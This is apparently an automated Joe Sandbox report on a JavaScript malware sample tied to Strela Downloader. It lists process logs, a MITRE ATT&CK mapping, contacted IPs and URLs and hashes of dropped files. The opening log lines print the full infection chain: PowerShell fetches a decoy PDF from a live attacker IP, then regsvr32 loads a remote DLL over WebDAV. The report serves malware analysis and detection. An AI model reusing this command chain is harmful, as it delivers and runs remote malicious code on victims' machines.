Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1554336511338510086.js	3%	Virustotal		Browse
1554336511338510086.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/-	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.37	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3323429520.000001AC732A2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2109483076.000001AC73150000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2110582081.000002234C888000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2110700130.000002234C8BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2107136030.000002234C8AE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2110700130.000002234C8AE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2106672335.000002234C8DB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/-	net.exe, 00000007.00000003.2107136030.000002234C8BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2110700130.000002234C8BE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588916
Start date and time:	2025-01-11 07:06:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1554336511338510086.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.219.243.226, 3.233.129.217, 52.22.41.97, 52.6.155.20, 172.64.41.3, 162.159.61.3, 184.28.90.27, 84.201.210.37, 23.209.209.135, 2.16.168.105, 2.16.168.107, 4.175.87.197, 13.107.246.45, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:07:21	API Interceptor	22x Sleep call for process: powershell.exe modified
01:07:25	API Interceptor	1x Sleep call for process: net.exe modified
01:07:25	API Interceptor	2x Sleep call for process: svchost.exe modified
01:07:38	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	W1POMvaEjU.exe	Get hash	malicious	FormBook	Browse	217.20.57.18
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	959032706323392160.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307188938714682
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugD:gJjJGtpTq2yv1AuNZRY3diu8iBVqFx
MD5:	583154F70AD9E55DAC414DFB5E18BCD6
SHA1:	091EE94ACC85E7B1CC613751CEBFD3EAE8748A73
SHA-256:	C3C374B308B6D55AD2D1485E81241E19CB9725D8CD6F6A08A458D5C73BEDAE49
SHA-512:	9CF65D75F72975D14CCAB15C4A7A3A936A48D0623E69FCC96F7002DE83CA00EE161E5DD986FC7FCE736D355C1B874A0CFA09A5258406509414727A72B183CAC7
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbf363bd6, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.658593518345023
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Jaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	2E051B3D32E7CB454B227BE42AB158A7
SHA1:	FB5B57CE02522314A84E3B1936F992B0DBF2982E
SHA-256:	41AA9F7C20109AB94C063FBA532CC2724A5B781FE08A5640A7EF7461FEB62CE8
SHA-512:	82FFEB248A467C143DBA0376E8D76DAD01EDEEDEFB1C2254C37B041270BE30CC0122566B6121DB0DE74EC6322E785375AFCE005E8533894810A6E5926C00B4FE
Malicious:	false
Preview:	.6;.... ...............X\...;...{......................0.z..........{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{.....................................6.....}[....................D.....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08091433817941357
Encrypted:	false
SSDEEP:	3:kTi/KYeLQbltGuAJkhvekl1ydui/AllrekGltll/SPj:kTi/KzLQRtrxl05AJe3l
MD5:	3A22F7A6D879454A08F11848F10BB90E
SHA1:	39216DB434EBA2713E66E5018902A04EC769645E
SHA-256:	55779A1E7329618C070F91D04133DD8FF93A2D189D097E57212C6B8DA856E354
SHA-512:	B5FE7F5B2EBA90CCCCB020D73975175E95F74AFAE9DCD631C92BFB9E2F227A2473EE497F53EF2C897C5CCCF96CE1F1BE5FB924327432BFFAD506DBA6D6798B91
Malicious:	false
Preview:	].0......................................;...{.......}.......{...............{.......{...XL......{.....................D.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.155483465211721
Encrypted:	false
SSDEEP:	6:iOn9sXIblL+q2P92nKuAl9OmbnIFUtF9sXITU1Zmwr9sXITCLVkwO92nKuAl9Omt:7nqkyv4HAahFUtFq3/rqDR5LHAaSJ
MD5:	6EBB677107A21FD6A67F773AA5F89541
SHA1:	51A0CB42DBCAA1DDD637AE8FB6E2376BCF02551F
SHA-256:	27D2ADA6FD44B99BB1D4B4C9339EBD4536ED2F78ECD4A07DDFB2B52B32F82CEE
SHA-512:	3031A7B43E158FFA81FCE9E833A5C9CD01062E8B8880578FAC888CE3BFC85C552912D8BA121F8298B14558D661DDF210F15D3EA3239A75C8A74FF517A57CE9BA
Malicious:	false
Preview:	2025/01/11-01:07:25.258 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:07:25.260 1c38 Recovering log #3.2025/01/11-01:07:25.260 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.155483465211721
Encrypted:	false
SSDEEP:	6:iOn9sXIblL+q2P92nKuAl9OmbnIFUtF9sXITU1Zmwr9sXITCLVkwO92nKuAl9Omt:7nqkyv4HAahFUtFq3/rqDR5LHAaSJ
MD5:	6EBB677107A21FD6A67F773AA5F89541
SHA1:	51A0CB42DBCAA1DDD637AE8FB6E2376BCF02551F
SHA-256:	27D2ADA6FD44B99BB1D4B4C9339EBD4536ED2F78ECD4A07DDFB2B52B32F82CEE
SHA-512:	3031A7B43E158FFA81FCE9E833A5C9CD01062E8B8880578FAC888CE3BFC85C552912D8BA121F8298B14558D661DDF210F15D3EA3239A75C8A74FF517A57CE9BA
Malicious:	false
Preview:	2025/01/11-01:07:25.258 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:07:25.260 1c38 Recovering log #3.2025/01/11-01:07:25.260 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.107863976989434
Encrypted:	false
SSDEEP:	6:iOn9sX6cq2P92nKuAl9Ombzo2jMGIFUtF9sXHZmwr9sX3/kwO92nKuAl9Ombzo23:7nq/v4HAa8uFUtFqX/rqn/5LHAa8RJ
MD5:	F2C45A01D242E4567B2495809E588DD5
SHA1:	9BEA918D56069E5A39B4D2E4BD8274799C58C558
SHA-256:	C74DDFE13A405DC985D93EA208EB3CA52B645A84F7FB9F609D76C3710237CF9B
SHA-512:	16A3FEA7F42AAAB45451CDD859D6CF6FB4751C8BF85F7B92FBA51C2B72A0DAF440F52AC9B36AF8C887C371EF93DC132E352834F823F03756AE10D3513E82CC49
Malicious:	false
Preview:	2025/01/11-01:07:25.302 1ce4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:07:25.305 1ce4 Recovering log #3.2025/01/11-01:07:25.307 1ce4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.107863976989434
Encrypted:	false
SSDEEP:	6:iOn9sX6cq2P92nKuAl9Ombzo2jMGIFUtF9sXHZmwr9sX3/kwO92nKuAl9Ombzo23:7nq/v4HAa8uFUtFqX/rqn/5LHAa8RJ
MD5:	F2C45A01D242E4567B2495809E588DD5
SHA1:	9BEA918D56069E5A39B4D2E4BD8274799C58C558
SHA-256:	C74DDFE13A405DC985D93EA208EB3CA52B645A84F7FB9F609D76C3710237CF9B
SHA-512:	16A3FEA7F42AAAB45451CDD859D6CF6FB4751C8BF85F7B92FBA51C2B72A0DAF440F52AC9B36AF8C887C371EF93DC132E352834F823F03756AE10D3513E82CC49
Malicious:	false
Preview:	2025/01/11-01:07:25.302 1ce4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:07:25.305 1ce4 Recovering log #3.2025/01/11-01:07:25.307 1ce4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4d46f2f0-c992-4c78-8934-4f74007d67fa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.05261809766913
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYsBdOg2HVAcaq3QYiubxnP7E4T3OF+:Y2sRdsUdMHR3QYhbxP7nbI+
MD5:	31B3A15AB16445884880F5E299BDD252
SHA1:	F776DA9AB22917F9D5DBC6F692C675E2BDC4D3DF
SHA-256:	4312E1A2317287B3ABEAF5761BE732E3D7CB7C12299CD3560A13A3A246870D0B
SHA-512:	8AD5E1944DB86EA4C9027CE5867B652E5991D54C4D459307785B5FFB69206A33E494A1E5833F1AB75870FEC4127C951E2F17140053076BB363B1FA2F30FB7B55
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381135657749968","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":142951},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.05261809766913
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYsBdOg2HVAcaq3QYiubxnP7E4T3OF+:Y2sRdsUdMHR3QYhbxP7nbI+
MD5:	31B3A15AB16445884880F5E299BDD252
SHA1:	F776DA9AB22917F9D5DBC6F692C675E2BDC4D3DF
SHA-256:	4312E1A2317287B3ABEAF5761BE732E3D7CB7C12299CD3560A13A3A246870D0B
SHA-512:	8AD5E1944DB86EA4C9027CE5867B652E5991D54C4D459307785B5FFB69206A33E494A1E5833F1AB75870FEC4127C951E2F17140053076BB363B1FA2F30FB7B55
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381135657749968","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":142951},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236861200508102
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUUS72hYic/:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLw
MD5:	E0525505CDD3A5AD72C4BA8A6FD0BC69
SHA1:	FF29741E4C7054FD6948D9B474B072DF5987590F
SHA-256:	765B86F9CA9AE5DF4D7FC655AF2662A049524318FA534558F13D8C7F618F1CA9
SHA-512:	D75DA84282B3508D427F49F0D6CF4908E60DE76ACB52768FD26BD040F993F7794CE8EF2BC58279FE50E76CD563B0E3E22688FC8036D3CBABD52E3EC0A67DECC2
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.137895759405273
Encrypted:	false
SSDEEP:	6:iOn9sXpFq2P92nKuAl9OmbzNMxIFUtF9sX2jZZmwr9sXNkwO92nKuAl9OmbzNMFd:7nq5Fv4HAa8jFUtFqmjZ/rq95LHAa84J
MD5:	0862286B2E2D9A381A639C7EB9CB469C
SHA1:	857978B6EA730AA15A129FC03E178D4F7E84D978
SHA-256:	CE6E6580E202ED61D5F3B92ADD7957DB6DBBF23E3DEA49F47185C00825919327
SHA-512:	4B5EE7461B5080B2BC6E105CD0BE0229B099C87E832159D505EA0DE4D8EF70D3509738917FBEC7D44E8F60E16FC511EE724B38ABBB7FA25B84075535F8ECBFAF
Malicious:	false
Preview:	2025/01/11-01:07:25.566 1ce4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:07:25.571 1ce4 Recovering log #3.2025/01/11-01:07:25.572 1ce4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.137895759405273
Encrypted:	false
SSDEEP:	6:iOn9sXpFq2P92nKuAl9OmbzNMxIFUtF9sX2jZZmwr9sXNkwO92nKuAl9OmbzNMFd:7nq5Fv4HAa8jFUtFqmjZ/rq95LHAa84J
MD5:	0862286B2E2D9A381A639C7EB9CB469C
SHA1:	857978B6EA730AA15A129FC03E178D4F7E84D978
SHA-256:	CE6E6580E202ED61D5F3B92ADD7957DB6DBBF23E3DEA49F47185C00825919327
SHA-512:	4B5EE7461B5080B2BC6E105CD0BE0229B099C87E832159D505EA0DE4D8EF70D3509738917FBEC7D44E8F60E16FC511EE724B38ABBB7FA25B84075535F8ECBFAF
Malicious:	false
Preview:	2025/01/11-01:07:25.566 1ce4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:07:25.571 1ce4 Recovering log #3.2025/01/11-01:07:25.572 1ce4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

